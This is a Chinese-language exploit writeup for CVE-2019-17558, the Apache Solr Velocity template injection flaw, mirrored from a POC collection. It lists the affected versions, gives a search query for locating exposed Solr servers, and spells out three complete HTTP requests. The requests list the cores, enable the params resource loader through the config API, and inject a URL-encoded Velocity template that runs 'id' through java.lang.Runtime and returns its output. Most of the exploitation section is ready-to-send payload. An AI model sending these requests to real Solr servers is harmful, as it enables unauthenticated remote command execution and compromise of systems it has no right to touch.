mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
81 lines
3.7 KiB
Markdown
81 lines
3.7 KiB
Markdown
|
|
# Apache Solr Velocity模版注入远程命令执行漏洞(CVE-2019-17558)
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
`Apache Solr`是`Apache Lucene`项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成以及富文本的处理。`Apache Solr`存在模版注入漏洞。攻击者通过未授权访问`Solr`服务器,发送特定的数据包开启`params.resource.loader.enabled`,而后get访问接口导致远程命令执行漏洞
|
|||
|
|
|
|||
|
|
## 二、影响版本
|
|||
|
|
+ `Apache Solr 5.0.0~8.3.1`
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ hunter`app.name="Solr"`
|
|||
|
|
+ 登录页面
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
1. 默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模版,可以通过api获取所有核心core
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
|
|||
|
|
Host: xx.xx.xx.xx
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Connection: close
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
2. 启用配置`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
POST /solr/class/config HTTP/1.1
|
|||
|
|
Host: xx.xx.xx.xx
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Connection: close
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Content-Length: 259
|
|||
|
|
|
|||
|
|
{
|
|||
|
|
"update-queryresponsewriter": {
|
|||
|
|
"startup": "lazy",
|
|||
|
|
"name": "velocity",
|
|||
|
|
"class": "solr.VelocityResponseWriter",
|
|||
|
|
"template.base.dir": "",
|
|||
|
|
"solr.resource.loader.enabled": "true",
|
|||
|
|
"params.resource.loader.enabled": "true"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
3. 查询`params.resource.loader.enabled`是否开启
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
4. 通过注入Velocity模板即可执行任意命令
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /solr/class/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
|
|||
|
|
Host: xx.xx.xx.xx
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Connection: close
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:57:33
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/enyp0cmgiol1otx3>
|